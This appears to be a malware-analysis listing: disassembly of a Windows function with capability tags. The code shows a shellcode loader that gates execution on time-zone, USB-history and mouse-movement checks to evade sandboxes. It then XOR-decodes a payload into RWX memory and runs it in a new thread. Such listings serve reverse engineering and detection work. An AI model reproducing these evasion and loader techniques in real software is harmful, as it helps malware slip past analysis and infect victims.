Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x3a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x350], rax
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0x13c]
mov edx, 0x80
lea rax, [rsp + 0x240]
sub r8, rax
lea rcx, [rsp + 0x240]
lea rax, [rdx + 0x7fffff7e]
test rax, rax
je 0x140001077
movzx eax, word [r8 + rcx]
test ax, ax
je 0x140001077
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x140001054
lea rax, [rcx - 2]
test rdx, rdx
cmovne rax, rcx
xor ebx, ebx
lea rcx, [rsp + 0x240]
mov word [rax], bx
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, [0x140003490]
lea rcx, [rsp + 0x240]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000127d
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
cmp dword [rsp + 0x68], 1
jb 0x14000127d
movaps xmmword [rsp + 0x390], xmm6
lea rcx, [rsp + 0x78]
movaps xmmword [rsp + 0x380], xmm7
movaps xmmword [rsp + 0x370], xmm8
movaps xmmword [rsp + 0x360], xmm9
call qword [sym.imp.USER32.dll_GetCursorPos]
movsd xmm9, qword [0x140003518]
xorps xmm7, xmm7
movsd xmm8, qword [0x140003520]
nop word [rax + rax]
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x74]
movaps xmm1, xmm9
sub eax, dword [rsp + 0x7c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
mov eax, dword [rsp + 0x70]
movaps xmm6, xmm0
sub eax, dword [rsp + 0x78]
movaps xmm1, xmm9
movd xmm0, eax
cvtdq2pd xmm0, xmm0
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
addsd xmm6, xmm0
xorps xmm1, xmm1
ucomisd xmm1, xmm6
ja 0x1400011c6
xorps xmm0, xmm0
sqrtsd xmm0, xmm6
jmp 0x1400011ce
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
mov ecx, 0x64
addsd xmm7, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
comisd xmm7, xmm8
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
jbe 0x140001170
movaps xmm9, xmmword [rsp + 0x360]
mov edx, 1
movaps xmm8, xmmword [rsp + 0x370]
xor ecx, ecx
movaps xmm7, xmmword [rsp + 0x380]
mov r9d, 0x40
movaps xmm6, xmmword [rsp + 0x390]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x1400032c0]
movzx ecx, cl
movzx edx, byte [rcx]
mov rcx, rax
mov byte [rax], dl
mov edx, ebx
nop dword [rax]
xor byte [rcx], 0x35
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x140001240
lea rcx, [rsp + 0x80]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x3a0
pop rbx
ret